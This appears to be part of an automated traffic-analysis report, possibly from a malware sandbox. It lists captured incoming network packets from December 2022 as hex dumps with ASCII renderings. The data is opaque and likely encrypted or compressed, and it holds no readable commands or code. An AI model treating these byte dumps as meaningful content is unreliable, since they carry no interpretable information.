:t0U%$bY3
2022-12-05 14:13:35 UTC	88	IN	Data Raw: 52 5b 5b c6 05 f2 0d 2a fe ff 73 cd 71 eb 48 c5 07 e5 8b d3 04 e0 93 c4 20 c1 36 09 9f fa f3 64 ec 4b 1d 6f 9d 44 4f 63 4a c8 df 27 fd 2d db 79 e0 04 d2 60 5b 3a ad 8f 53 c7 0b 2e 76 b8 a9 ca 64 c1 c6 63 a1 2a 2e 68 05 35 a6 c0 20 ee e7 ca 8e 1e 4e dd ca ac fd 02 82 23 16 c0 56 b0 ae ab e1 b0 47 9c f7 3a 12 f1 53 ec 37 68 df 4e 6b d4 a5 39 f5 59 8b 84 ec be a0 fe f5 7e e3 9f ad a1 b7 23 ba 8a e7 d8 68 b4 5b 9c 5c e7 dc 1c 01 97 69 55 24 44 1c e7 5b 24 20 a0 49 db 05 8a cd 93 4c 5f 3d fe 31 fa 9d 32 f9 b7 66 c0 b9 79 1f 78 04 69 97 40 ed 7a ea 5f ee 77 6f cc 38 b9 17 33 c7 38 bd 86 86 0a 58 af 6f f4 8f ad 26 8e 3e be d7 1c 10 64 b6 bf 1e 0f cc d3 9f b3 bb ec ff 0c fe ff 52 e1 a9 45 2e 33 25 45 0f fc 2a b2 a4 8c 67 60 47 27 c0 b6 88 1b 66 6b 2b 8b 9c 55 5e Data Ascii: R[[sqH 6dKoDOcJ'-y`[:S.vdc.h5 N#VG:S7hNk9Y~#h[\iU$D[$ IL_=12fyxi@z_wo838Xo&>dRE.3%E*g`G'fk+U^
2022-12-05 14:13:35 UTC	89	IN	Data Raw: a3 76 25 c8 98 db 92 4b 8f 43 eb 78 d1 e8 6a 35 a0 6c ac 2b 99 bb 07 ca 49 7a 25 8f fa e2 77 27 82 b7 11 e7 e0 9d 05 54 b3 d8 57 49 01 f0 70 25 86 d9 b7 6d 2b 63 9f 1f 3a c5 c7 bd fa 7c 00 6c 1f d7 9e 79 33 a1 6b fa 77 cc 59 f4 6f 8a e2 3f 69 f9 71 2d 4c 13 6b 42 1a 90 21 8f 26 6e 89 c4 8c 9e 8f 61 09 8f 9b 78 69 f5 85 b2 a8 28 0e a0 1b 2b a5 6f c3 06 9e a3 9b ed e7 7f ba 22 03 7b aa 3a 15 13 e3 56 ee de ad 3c 9f 14 18 c9 64 b3 ed c6 eb 6f 15 89 96 61 75 b0 fc 58 96 81 29 ae ee b0 a9 5e ef 36 3f b3 4c 19 81 4b b6 07 3f 22 f0 9b 86 b0 36 fa bc 53 14 b8 01 0d 1c aa 85 21 a1 f0 de 69 ed 6a 4a d6 94 84 01 d4 99 3f de 8c 12 5c 30 65 d3 fb 8e 1a b5 d2 d0 5a 62 1d 9b 2d 0e 10 4e 83 a0 de 58 ba 5b 14 b9 56 d7 be cd cd 90 ce fd 64 ab 68 8f b2 6d 3e 9d 6b 64 48 47 Data Ascii: v%KCxj5l+Iz%w'TWIp%m+c:\|ly3kwYo?iq-LkB!&naxi(+o"{:V<doauX)^6?LK?"6S!ijJ?\0eZb-NX[Vdhm>kdHG
2022-12-05 14:13:35 UTC	90	IN	Data Raw: 51 98 ab 3e c6 05 89 c9 a1 5b a1 77 c7 e2 bd 08 ef 98 21 d4 d9 a8 d8 76 2a 07 5a 7a 8f f3 69 f8 33 67 df 3b 10 d8 9b 7c 84 93 d4 0d 2d ab b4 ec af 43 6c 44 27 47 63 27 f4 80 0a 28 ab 5f 1c eb ac e1 58 8f 26 40 09 29 8f 61 d9 6b b5 8a 4a 7e 9b 10 d8 a0 ef cf 13 ff 77 8e 5c 06 ee 35 5e 1e 6e 20 08 ab 6a 91 60 c7 1d a2 6d 6a 97 82 51 ed 68 94 f3 fa 5f f3 5e 92 d6 41 9f 7d 97 7a e3 e4 51 8e 4d 8c 01 50 b9 90 16 0b ed 20 70 dc 2e 07 33 da 5c 8e 06 69 f3 b2 05 7a e9 1b 4c 04 95 b0 4b ed b0 3b a8 38 b7 fa e1 25 2b b0 56 4f f8 db 8d f0 79 8f 8b 19 f2 eb 99 be df 8b b6 ae ab f6 b8 0d b7 a7 95 0f e1 18 b7 df 65 fc 9d ba a0 56 4d 60 d7 1c e6 5b 35 6c 23 91 a3 cb 84 15 54 44 79 68 e4 c2 4e 1c 83 d1 30 c6 ad 50 a5 53 eb af cd fe 53 c8 30 fc 0d 6e 9d 8e 24 01 4a c3 cd Data Ascii: Q>[w!v*Zzi3g;\|-ClD'Gc'(_X&@)akJ~w\5^n j`mjQh_^A}zQMP p.3\izLK;8%+VOyeVM`[5l#TDyhN0PSS0n$J
2022-12-05 14:13:35 UTC	91	IN	Data Raw: ee 89 28 9b 55 25 e9 6a 25 af 34 a0 7d 36 49 1f b0 85 8c ca 47 c9 b5 11 de 37 2b 55 f8 db 83 1b 7e 9f f0 52 be 30 dc d5 67 ac 6c 70 f3 0c e0 01 af a3 0a 84 f4 10 62 61 58 01 24 14 70 03 29 05 97 5b 6a 81 4e 30 f7 a3 4e 51 db f2 3c 07 30 6b f9 1d 9d 6e b4 26 72 d2 e2 be bf f6 0b da 87 51 88 c3 22 5b 20 5f d7 b1 06 1f 12 b5 31 bb dd cb ad 7d e6 ae 95 87 82 b3 90 45 de 9f 71 82 09 55 85 58 15 0e 2e 31 a2 cc 33 e4 0c cc 8c 48 69 16 be 7a 10 37 ab 7c 89 9e aa 7f 89 5d 48 b8 54 47 73 ce ed 85 4c 23 b9 9b 4d 65 93 14 9f 6f 1c 1b 9e a1 de 58 1f e8 45 d9 08 cd b5 9b bf 12 05 ef bb 90 09 ea f0 76 03 f1 38 d6 a7 54 0f 9e ff 95 c1 4b 05 20 80 60 44 9e 6d f6 1a 07 f4 52 9e da 84 83 53 e2 0d 23 a1 42 c6 e2 0f 69 9d 6d 76 40 bd 52 a5 ae 49 71 2c 4d 59 37 54 75 24 a8 07 Data Ascii: (U%j%4}6IG7+U~R0glpbaX$p)[jN0NQ<0kn&rQ"[ _1}EqUX.13Hiz7\|]HTGsL#MeoXEv8TK `DmRS#Bimv@RIq,MY7Tu$
2022-12-05 14:13:35 UTC	93	IN	Data Raw: 82 68 b5 32 8c 25 ab f5 40 91 08 66 30 a3 cc 13 e2 0c 5e 20 8e d1 53 07 92 73 8d 18 cf c5 a2 c2 97 16 cc ca 4f 47 3a 2d f2 df 07 3d dc 8b bd 3a d7 12 7c 17 b7 31 39 5d 93 2d d9 2a 8a c7 46 f1 3b 92 aa f6 26 8c 21 88 59 bc eb 34 1d 56 bc 30 65 0e cd 96 ca c3 aa 97 8d 2b 61 d7 d2 96 e6 c6 06 ed 9f e4 63 23 b2 9e c5 df 4e b6 be ac 8d c4 c7 9b aa 8a ce 42 c2 cb 78 af 7e ab 77 e8 49 5e c3 7f 96 27 1d 81 d2 3f 11 0f 62 f1 a3 3b 68 b9 3a 3a b8 23 d4 2a ce e8 49 3a 87 9e bf 3f 5a 28 82 d3 5a 37 8c c8 bf 81 e6 5b 03 e1 f1 7b 5f 7c e1 2f 3c e8 ae 27 6c 7f 59 05 90 a8 b7 4b 85 77 68 39 a2 b9 07 53 da 15 ee f9 2c 58 49 ed af 0e 75 15 e6 4d fb cc 97 cf bb 3a 38 08 9a 7e 34 7c c0 16 6a 21 ac 08 d3 04 fd 93 86 4a 68 81 3b 35 3c 8d 75 52 b1 0c f2 44 ec e5 ce d0 47 28 48 Data Ascii: h2%@f0^ SsOG:-=:\|19]-F;&!Y4V0e+ac#NBx~wI^'?b;h::#I:?Z(Z7[{_\|/<'lYKwh9S,XIuM:8~4\|j!Jh;5<uRDG(H
2022-12-05 14:13:35 UTC	94	IN	Data Raw: 27 4e e0 df 28 e1 92 c1 20 79 18 06 a7 a3 94 75 37 18 d8 04 46 cc 18 6a 11 9e ac 96 ef 83 bf bd 7b 5a 3f b1 0b 7c d4 72 31 89 99 c2 59 41 98 79 15 9d 52 58 b1 c9 1d 71 45 23 ac 8e 8a 72 be f5 36 5f d7 67 d5 f2 fb be 07 84 33 73 01 55 6f 04 fa 94 12 6e d9 f6 3c 4e 73 84 c4 0e 21 8e 55 c7 63 0d b1 71 21 86 27 42 df 71 aa 2d 30 4a d0 b8 de 8c 11 bc be f1 3c 9b 1a ce 31 71 a2 eb 63 6f c9 d3 d6 11 d8 3e e0 4c d0 b3 55 92 de 3a a2 28 29 ab 39 c3 e7 bb 0b 95 33 51 7e 67 19 ad 2b 78 31 07 60 d4 c8 bf b8 95 4b a6 cc 02 cb 51 92 6b 99 ac a6 5d 8f af 30 aa 99 86 36 9a 07 5d 36 5c 36 80 94 16 bf ff 64 7b b7 ce ca 97 2e 6d 23 eb 20 2f f5 e6 3d 76 42 ab ed 54 72 2d c7 18 67 33 f0 0b fd d7 43 9c a3 b0 6b b7 5e 70 aa d0 cb 36 3f 57 d7 99 5f f4 ca e7 1f 68 d0 9a 63 91 10 Data Ascii: 'N( yu7Fj{Z?\|r1YAyRXqE#r6_g3sUon<Ns!Ucq!'Bq-0J<1qco>LU:()93Q~g+x1`KQk]06]6\6d{.m# /=vBTr-g3Ck^p6?W_hc
2022-12-05 14:13:35 UTC	95	IN	Data Raw: eb 14 3f cf bb 14 de 38 00 2b bb 94 a1 29 d9 ad 13 cb a6 04 e2 30 93 31 6b 2c f1 99 1d f7 21 00 08 54 35 26 cc 09 9b 7a 40 87 0a 11 28 ef f5 07 52 75 34 1b 44 79 37 ab 04 f8 db fc bd 3a 81 4a 1c d5 b9 44 fe a0 30 1f 0d 9e 21 54 00 1d 96 2b 64 15 ea bd f4 c5 90 9d 79 d1 05 de 0c 30 3d a1 b8 a2 3f 9f 2e df 31 13 72 64 21 2d ef 7e 21 ff 23 c4 81 ce 61 91 e4 2c f1 08 24 70 29 a6 5e 24 26 17 10 d4 3c f0 49 f0 76 fc a1 ff 28 c2 05 10 38 2f 0e c4 6a a2 53 31 0e 76 06 ca c8 28 cb c8 b2 48 33 88 85 c5 5e a8 40 db f9 80 30 f9 69 70 45 9f dd 07 bf 54 67 89 d5 01 0e b2 cf 98 f4 5d eb 3f 62 83 07 93 00 07 26 7e a3 b9 f9 c6 e1 e8 77 6d e9 3e 56 19 d0 8c ed 5f e9 28 ed ac e7 9e a3 87 37 ac 2f 73 73 01 48 b0 48 14 57 47 73 92 df 7d 9f 88 d7 62 60 cb a8 54 1a ee 64 66 8d Data Ascii: ?8+)01k,!T5&z@(Ru4Dy7:JD0!T+dy0=?.1rd!-~!#a,$p)^$&<Iv(8/jS1v(H3^@0ipETg]?b&~wm>V_(7/ssHHWGs}b`Tdf
2022-12-05 14:13:35 UTC	96	IN	Data Raw: e1 31 9b 0e 0a 71 11 20 8a 9c 11 89 8b 2f 66 da 55 5d 8f 8f 64 08 aa 8d f3 40 29 71 7c fa 3e 95 00 46 cc ac fd de 69 ef 75 31 33 55 ff a7 ab 8e e2 65 60 5c 4b 18 b1 8f d3 bc 6e df 4f 07 de 89 2f 84 97 bf cd 4b 13 f2 87 32 d5 c3 d5 7b 44 fd 97 9a ba 6f 54 29 7e 55 89 ff 6c c4 2a 5b 38 03 df fc 85 70 53 c6 30 99 4c ed 61 c6 20 a8 f9 5d 63 e2 a7 83 2d 24 8a 2c 34 f5 61 0f e2 f9 e3 86 ca a5 bf 02 30 5b 64 60 a0 9c fc 03 65 9b fa 7c 56 e1 a7 00 e4 9b e3 f1 c0 0b ce d3 64 e6 79 1b ae 0b 98 6a 22 36 24 df bc 27 19 dd b7 68 6a 3f 44 f8 52 a9 89 82 05 aa 5c da 45 68 88 bd f1 05 76 3b 81 b1 fd a7 c3 90 f9 71 dd dd e2 79 49 89 e5 a0 5b 97 a3 78 54 13 da 4b 31 e7 fd 43 d8 37 3c f3 e0 ea 24 6f e0 52 88 07 26 bd 35 4c de 21 63 d1 a7 f2 ad 16 5c 37 98 b9 85 26 7d 65 b8 Data Ascii: 1q /fU]d@)q\|>Fiu13Ue`\KnO/K2{DoT)~Ul*[8pS0La ]c-$,4a0[d`e\|Vdyj"6$'hj?DR\Ehv;qyI[xTK1C7<$oR&5L!c\7&}e
2022-12-05 14:13:35 UTC	98	IN	Data Raw: 07 98 f9 c5 0f cb 9a 4e 79 a4 6e d2 8d 20 b0 ab d1 7a 92 ea 5e 0f d0 46 66 84 44 7e 07 a0 8b a2 97 28 97 23 e8 e2 b7 23 db 19 63 c8 46 31 8c cc fa 55 ae 8a 4c 55 fa 12 f9 c4 c1 3f 6f 84 18 3f 6b 5c 4e 8c 89 80 34 38 3e c9 1f 90 e8 db 7f aa 59 62 9a b1 14 30 8d 61 f5 8a df 95 e9 b9 c2 ba e1 6b fd 07 ff f1 22 7b 04 b5 a7 9c Data Ascii: Nyn z^FfD~(##cF1ULU?o?k\N48>Yb0ak"{
2022-12-05 14:13:35 UTC	98	IN	Data Raw: 87 e8 77 88 02 db ac 92 f0 0b d1 46 97 53 2a ff 7a e6 a4 80 38 b7 6a f9 a2 8f 3b c2 9e 82 1d cb e8 da b0 23 3a 6c 00 c5 ae 8d b1 f5 59 7a 8b f0 b7 8b 7a a6 b2 93 83 88 cb 7f f5 0e bd d1 d6 c7 9b d0 80 60 bd ac fc 9a f7 79 0e 1e 3e a5 bb 53 8a 2d 27 4f 9a 9d 72 0f 06 64 04 fc 48 e3 65 93 cc df 14 a5 5b 85 64 88 86 d8 17 d8 d9 c0 c1 73 5f dc 36 11 5a 1b 93 21 e4 db 15 3c a7 57 71 7d ad 05 79 cb a5 af ba e4 9a 31 ab b1 4a 41 a5 a4 a3 df 82 71 13 91 10 88 44 a1 7f 94 77 27 c9 f7 ed 20 d6 eb fd 2f e4 f0 75 6d 81 1b ab 71 e3 bc df 7e 90 7a 75 a9 62 f0 e3 4d 0d 74 25 e1 1e 0e 81 e2 1d 3a ff fa 3b c8 0b 81 c2 1d ad 9b 22 25 8d ef 06 aa 91 42 73 b3 43 ec 03 b4 f6 4d 3f 29 5c 12 c1 37 a0 1e 3b 3c 1b c2 de ae 97 d7 f8 a8 4e 31 1a 89 8e 4e a1 6b 86 61 90 03 7f a5 0c Data Ascii: wFS*z8j;#:lYzz`y>S-'OrdHe[ds_6Z!<Wq}y1JAqDw' /umq~zubMt%:;"%BsCM?)\7;<N1Nka
2022-12-05 14:13:35 UTC	99	IN	Data Raw: d0 87 fd 7c 84 23 d7 d1 40 59 0b 94 42 d9 22 e4 b0 2f a8 45 0e ec fe 09 18 60 b2 7a cd 7c d2 77 1a 86 f4 d9 ed fe 35 46 db 4a 3b 79 ed 42 d5 e5 d5 97 93 4f a0 28 b7 d5 57 75 ac 7e f4 07 24 02 87 16 12 43 7c 9e a0 19 ba d6 00 c0 fc 8d a7 ae 9a c6 ed 3d e9 00 1d fa da c2 48 cc 7e 3b 65 1b 4d 5f 60 80 af b6 cd 5a 8a 6f bc e3 d6 bc d3 d8 18 a1 84 79 93 9a 62 d8 3e 1b 27 cf 70 12 91 df 0c 49 bb 59 4b 95 db 90 53 14 2a e8 f8 4b 1a 6a 13 89 9c 73 a3 6a 89 da 25 5e c0 fb cd 1b 8c 36 3b dd 0f f1 2a f3 94 84 d8 ef 48 1c 7b b3 2c 62 81 5d d8 19 2c 4f 3a 8f a5 b8 1c 3a 27 a8 53 cc b1 c5 70 6c 51 9a 80 3e 41 c2 bc 5d ea 3a 77 57 31 c1 3f 67 36 04 d3 4a d8 92 cf 22 6f 4b 98 f3 03 95 d1 fc 8e c5 5f 81 7a 60 de 42 a3 9c 53 5f 6d 23 ec 74 df 33 7e da cd bc 8c 04 3c 36 5a Data Ascii: \|#@YB"/E`z\|w5FJ;yBO(Wu~$C\|=H~;eM_`Zoyb>'pIYKSKjsj%^6;H{,b],O::'SplQ>A]:wW1?g6J"oK_z`BS_m#t3~<6Z
2022-12-05 14:13:35 UTC	100	IN	Data Raw: 77 b8 ac 2c 4a 8c a8 e4 0b 33 fd e8 8d 05 6f a4 b7 e7 f9 37 7d 1e 77 12 14 89 f8 35 20 30 14 a1 9e 78 38 e0 aa 45 ac f2 26 49 6d 2a 87 bf 62 3f f6 f7 e2 4f 43 2b 04 39 bf 52 6a f4 ae c2 23 78 62 b7 cc 54 ab 06 3a 0c 38 66 27 7d 8c 15 a2 8f 19 3a f0 db 8a 1c 2f 5a f6 6f 51 87 0e b9 29 74 38 c0 90 cf da 1b 9f e5 e5 1d 44 09 07 75 95 34 47 8f 12 87 f2 a3 81 2c 64 95 36 7f f3 a9 ee 72 8d c7 74 b5 28 e3 03 42 94 d9 3f 69 4b 1c a2 92 78 1e 96 c4 b3 ce ab 5a 06 74 d8 45 82 24 90 df ae af f8 46 90 da 06 07 93 5a 76 6c 13 92 bf 8b aa ba 2c 90 50 14 53 1e 82 ec 25 3b 82 fd 48 4c 2d 1f ad be 86 1d 69 00 fa dd 6a c7 0f 7a 20 6c ec dd a8 ce fa dc 9c d8 1d 67 a5 33 d9 0d c4 32 f2 c4 cf 95 f4 c6 99 0d 0d 0d 19 2c 3b 79 cb 4f c9 fd 3a 29 2c ce 1c e7 79 81 21 3a fe 5a f0 Data Ascii: w,J3o7}w5 0x8E&Im*b?OC+9Rj#xbT:8f'}:/ZoQ)t8Du4G,d6rt(B?iKxZtE$FZvl,PS%;HL-ijz lg32,;yO:),y!:Z
2022-12-05 14:13:35 UTC	101	IN	Data Raw: a6 05 0d 8f 74 5d 9e 9c 94 6e ea 5b 4c 0f 4e e2 98 c8 2d 32 7d f3 59 cb 7c ff 3e 00 52 01 8f 3c 57 12 05 96 84 55 7c fe 14 8b a9 9c 80 b3 c5 bc 52 51 87 e8 7c b4 ad a4 ce 8d 76 4e ff fd b2 a5 df ef 46 1f 92 ea 19 9d d8 e0 cd 10 14 c8 2a 39 e3 79 f5 42 51 00 f1 ee cf a5 76 3d 4a 1d c0 32 61 b2 46 a6 50 ce b5 b7 ae d6 d3 ee e1 41 54 11 41 5f 3c bb 6b 5e df c9 f2 b5 11 46 c9 ec f8 60 9f 69 71 80 30 25 eb c8 ac 33 2d b9 6e 95 bc 55 ba ae c2 f4 60 c1 2d 7a 7a 79 fa af 8e e5 5b 36 81 a9 af 91 e8 c9 0f 6e 3b 83 60 2f b6 0b 83 89 53 ee 20 a6 88 26 e7 a5 fc f5 21 2d 11 da d0 f6 41 3e 93 2c ec 8f d7 e3 aa e5 a3 64 7d 48 32 a9 2b 31 65 3d 6a 08 66 7a f6 5b 02 ac 48 fe 60 71 de 5c 65 51 97 17 a6 80 26 fb 92 70 e4 90 5f f2 fd bd 55 ff b5 56 73 aa cc 81 dd 72 e9 9f 6d Data Ascii: t]n[LN-2}Y\|>R<WU\|RQ\|vNF*9yBQv=J2aFPATA_<k^F`iq0%3-nU`-zzy[6n;`/S &!-A>,d}H2+1e=jfz[H`q\eQ&p_UVsrm
2022-12-05 14:13:35 UTC	103	IN	Data Raw: ad 38 60 b4 00 44 25 bd a7 9c b8 08 b1 8e bb 35 85 e7 d6 d9 ae 38 9e cc e7 cd 23 52 0c 60 9a da b1 fa fb 82 9b 3a e0 16 57 a8 fe 62 0f 2a da 50 e7 b4 c6 8a bb fb 7f 86 82 33 ee 89 04 31 db 19 8c d0 40 3b bc e0 ad 61 3a a4 8a 89 f1 d7 af 65 94 e1 22 ea 2d 5a f0 ff 28 36 e4 25 0f 19 10 d7 fc 81 a0 c8 13 c4 73 45 68 c3 2a 5e 6e 90 05 28 6c 3b 09 df 39 79 b8 58 55 65 16 62 53 1d 38 fc c4 86 2a 8d 78 0b 13 e3 59 b2 a7 65 ac a1 96 70 64 96 c9 d3 17 8e 03 69 1c 0d e0 03 5c 87 c1 c9 a7 e1 dd 9b e6 bf 0b e4 5c 51 6c 00 b6 08 d7 14 52 ac ce c4 93 f2 4d 3a dd b8 af a6 1d 5e e6 7b 1e 8a a0 63 54 98 0e f8 82 0c c3 05 bf 5e 33 dd 13 3d a2 19 f2 6f ad c8 a7 95 9e e0 b4 28 8f e7 7e 3c 10 f2 f2 89 d9 ff 3d 54 ce 33 ef 8d c4 fc 91 3f cd fb a6 66 dd 0d b4 ec 82 f8 82 c0 b9 Data Ascii: 8`D%58#R`:WbP31@;a:e"-Z(6%sEh^n(l;9yXUebS8*xYepdi\\QlRM:^{cT^3=o(~<=T3?f
2022-12-05 14:13:35 UTC	104	IN	Data Raw: 30 8a c4 bd 76 a1 56 8e 45 e0 52 31 4d b6 9e d1 b2 96 4a 7e aa 64 9c 84 d4 33 57 70 13 31 19 28 07 f8 b0 38 f3 cd b7 1c c0 eb 50 51 48 62 f3 d1 90 af 6d 4e 0a 6f e7 c1 c0 c7 b3 e9 c8 4b 84 35 cd df 88 55 d9 53 25 ab 02 c5 fc 17 cb ba e6 15 8f f9 a8 36 38 f7 d4 05 c0 07 7e 6b 87 9c 62 e9 5e 16 e1 96 68 82 5a 34 75 3e 21 89 06 bf 56 7e 10 34 35 69 0f ea 47 51 be ab 4e e8 f5 22 c0 ba 62 f2 e1 3c 70 84 92 21 38 2f 35 c3 3d e2 1c 0a 04 5d 74 3e 4c 4d 33 33 93 18 88 2f a9 e2 8b 8a 08 04 c1 41 e4 55 06 45 ae 12 c2 ce 85 91 49 31 c5 22 ba 03 21 70 b1 15 96 c2 fa c0 36 af 6d 3e 1e 69 a3 59 a2 7b 5c da 14 4e 1c 56 2e 74 b9 8f c2 07 c9 51 5c 2e 00 66 8e bc a6 26 d1 c1 0c 76 1d eb 89 db de 60 93 0c a9 c4 a0 46 d4 da 1a 3f 5a 68 80 9e 27 d8 d7 80 36 0f 5b 10 a3 03 4f Data Ascii: 0vVER1MJ~d3Wp1(8PQHbmNoK5US%68~kb^hZ4u>!V~45iGQN"b<p!8/5=]t>LM33/AUEI1"!p6m>iY{\NV.tQ\.f&v`F?Zh'6[O
2022-12-05 14:13:35 UTC	105	IN	Data Raw: a5 eb 71 17 42 39 85 be 7f 8d 82 fc c0 50 a4 3d ed 4e 9e ba 71 12 16 f5 fd b0 d1 f8 7e b4 ab 8c a6 3a 33 09 48 df b5 fb b9 bb b0 9c 25 cf 21 f8 1e 5c 5d 41 87 a5 5a 9c fe 43 65 2c 0c 4d 5b 45 fd 0a 86 7a 7f 43 be 6c ae 44 74 c7 68 2b 32 08 dc d5 b7 50 d0 a0 8f 91 be 88 f7 82 c2 76 96 24 b9 50 b0 90 87 f0 7e db f1 72 6e d1 9d bc 32 e5 3a d8 4f ca b8 4e 5a f8 fd 6d fc 1e f3 ec 77 31 6f b3 b5 f4 06 fe f5 2e bf 4f 8b 0d ec 4c a4 42 c5 1d d9 72 30 38 d2 1a bc 03 b7 97 b5 70 3c 6e a9 da f8 d6 15 15 8a 7e 38 95 ce c2 03 3a fe 42 cd 8a b7 d1 8c 14 bd ee c6 08 23 1e 16 7a b0 0a be 5f 5f 62 73 93 d7 0e 15 f1 1b 89 c0 6e f2 15 00 2d 6a cc cc 98 74 c9 80 7e bc b0 56 8c 7c 93 8b b5 2e f4 9f 00 7f 2e 55 05 c5 f1 5b b8 93 c8 63 97 1c 6c 13 8d b6 7b d5 8b d0 98 0f 43 d7 Data Ascii: qB9P=Nq~:3H%!\]AZCe,M[EzClDth+2Pv$P~rn2:ONZmw1o.OLBr08p<n~8:B#z__bsn-jt~V\|..U[cl{C
2022-12-05 14:13:35 UTC	106	IN	Data Raw: dd 3d de 18 bd ca 85 26 36 07 a2 cf f5 ff 44 8b cb 8b 13 70 41 03 e1 23 c8 21 79 32 72 0c 3c 76 85 5b 09 03 c4 52 4d 7f ff 78 90 85 93 50 15 a1 15 f8 07 97 cb cd 24 88 dd 39 5c 39 04 d6 f9 a9 8e 4b fd 36 14 22 52 ad 85 2b 48 08 fc 23 a9 e1 12 5e bb 7a fb 3d b6 0d bc 89 4a 80 78 80 76 5e af 61 97 a2 e9 a2 cb 40 a1 c4 c9 a0 02 c6 4a ff b4 8e d3 c2 7c 7f b6 75 b6 4a 9d ab ae 0b 87 77 b4 e9 73 ce 76 d8 20 33 10 9d 5c ed a4 cf 94 59 47 d1 db e7 da c9 fe e5 25 d5 3f 2c 19 b7 1f 7b 11 2a eb b6 94 10 ce 97 65 5f 56 44 a8 5c 5e 62 f3 d7 b9 84 17 b7 45 89 8b 4a f0 55 48 e8 4c 2c 78 25 4c 9b 32 84 f7 1e 85 f4 1e 37 e4 01 36 ac 2a a7 d2 7a 23 fb d1 87 09 51 12 0f 7c e4 a0 f5 63 8b ec 18 23 16 8c 25 36 29 34 78 87 08 d2 ef fa 25 b3 b2 f3 00 45 eb dd 7d 37 a8 7d d1 26 Data Ascii: =&6DpA#!y2r<v[RMxP$9\9K6"R+H#^z=Jxv^a@J\|uJwsv 3\YG%?,{e_VD\^bEJUHL,x%L276z#Q\|c#%6)4x%E}7}&
2022-12-05 14:13:35 UTC	107	IN	Data Raw: 8e f5 5a 38 c8 44 9d 25 b7 df db 0d 98 d7 e3 11 18 74 b2 b8 a6 90 e2 c5 2b 55 21 91 4e b1 f0 f3 93 b8 0b bc ad a5 8f 0d bb d6 1b 0a 9c 00 5f 35 52 14 a0 de ef f3 3c da dd 7d a1 cd 34 34 9d 67 f1 80 c9 b9 15 c6 89 67 a1 9a 6e bb 05 27 10 32 1c 25 13 2b 45 a0 4b bf c0 09 01 69 70 38 aa 53 8c b1 5f 9f 89 2b 8d e1 51 a6 b3 ee 56 cd 48 6d de 79 8f d7 c0 25 d5 2f 52 26 6f fa 7d 89 9f fa 35 fc d8 5a 67 4b ff 3e a6 2f ed 20 d6 10 4a 86 13 7b 19 f0 7d a3 90 7e 9c 90 89 26 05 be 17 70 01 69 a0 37 f8 62 96 17 f4 52 73 f3 1f 97 74 f6 c2 e7 68 b2 f1 96 5d 65 b5 5a 24 4c b2 19 b2 1e 1f 16 a1 f8 5c 9f a1 85 40 7c cc b9 e8 dd de ae 14 11 ea ed 4f b7 e9 b5 ad b9 91 53 28 e6 33 12 d6 ff 0a 92 4c 0f 33 9a bb 5f a6 35 da 9a dd 93 21 c9 f5 b7 d9 33 4a fb 46 93 29 31 8f 8a a0 Data Ascii: Z8D%t+U!N_5R<}44ggn'2%+EKip8S_+QVHmy%/R&o}5ZgK>/ J{}~&pi7bRsth]eZ$L\@\|OS(3L3_5!3JF)1
2022-12-05 14:13:35 UTC	109	IN	Data Raw: 96 87 31 ee 09 aa 73 a3 0e 67 18 6b 66 55 c8 ea f8 2b bf 0b 16 51 95 f6 40 49 ce 1b 4c b0 a0 e3 b8 15 d1 f0 67 ea 38 d7 84 a1 25 e9 d1 b3 43 39 93 19 c6 37 33 0e 0f e2 28 12 47 e6 32 96 9e 1e 1f ee 09 62 82 17 3d d3 f5 a0 3d 78 66 b8 53 56 f7 1c 8a b4 b2 0a 03 0d f5 81 fe f9 36 42 88 27 4f e6 d6 c5 fa 85 49 3d ae 50 64 96 b9 b2 2e d8 16 2a 67 53 e9 e7 b3 e4 e0 9c 13 9d 97 4d a4 f2 9a 2d 09 18 5a 5d b4 23 15 d2 a9 bc 8b 0b f9 1f 31 dc c6 b8 05 44 50 33 50 ca 7c c4 1d 1f 11 ee 31 3f 12 88 db 07 3e 88 13 c7 db 80 82 5d 56 8b f2 29 5e f5 89 3f aa d7 ea 5b e1 54 6a 23 20 ee 84 c3 de 8a 1c a4 ce 31 43 e4 ec bc da dc 93 13 d1 f4 1f d5 cd 64 99 ae eb 97 38 69 cf 66 c4 3e d8 cc f4 4f f0 14 10 ec 8a 36 b9 ea 1f 67 b3 2d 3f 0b a0 96 7c 51 fe 79 99 8e 01 aa 9e 50 a7 Data Ascii: 1sgkfU+Q@ILg8%C973(G2b==xfSV6B'OI=Pd.*gSM-Z]#1DP3P\|1?>]V)^?[Tj# 1Cd8if>O6g-?\|QyP
2022-12-05 14:13:35 UTC	110	IN	Data Raw: f9 3c c0 1d 1d 76 a8 3f ff f9 d4 e6 09 9a d7 1d 27 22 d5 46 61 6a d4 b0 3f c2 96 ca a7 7c a2 f2 23 8e 19 cb 9d 3c 06 ce 9b ac 8e ad aa 15 e0 af de 4c f7 17 18 a7 1d 48 9f 49 05 90 15 09 13 98 f1 ae 17 5c 63 b2 a1 86 a0 d5 b8 db b8 9b ca 02 e3 60 74 6e 6a 00 10 b8 93 bd 0c d6 76 f8 32 de 42 fa e4 07 f6 0b 04 2f dc 77 3b ba 9b f0 ae c3 27 11 5a b9 a8 71 d8 56 8a 58 fd 16 48 aa 37 ab 29 f1 24 4c a9 38 93 01 fb e5 d8 48 65 30 c2 d8 88 93 8b 28 55 19 cb 11 d9 ee ac 78 40 cb 8f 40 1a 8e ca 3e f6 9f 21 65 5f 20 a6 df a4 44 01 75 50 2e a5 c3 27 3e 0f ca 05 78 22 0b 83 27 bc c5 8b ec 57 f0 c8 31 9c 76 56 ae 78 0c 7a 2d 3b b7 63 0d 5a 6c 92 14 f6 09 c2 8c 74 95 5f c7 47 29 a0 f9 e3 da ae bc 28 a6 f7 6a a5 32 fd a0 09 af db 65 a4 cd a7 e1 46 5f 6a 68 4f 09 d6 f4 71 Data Ascii: <v?'"Faj?\|#<LHI\c`tnjv2B/w;'ZqVXH7)$L8He0(Ux@@>!e_ DuP.'>x"'W1vVxz-;cZlt_G)(j2eF_jhOq
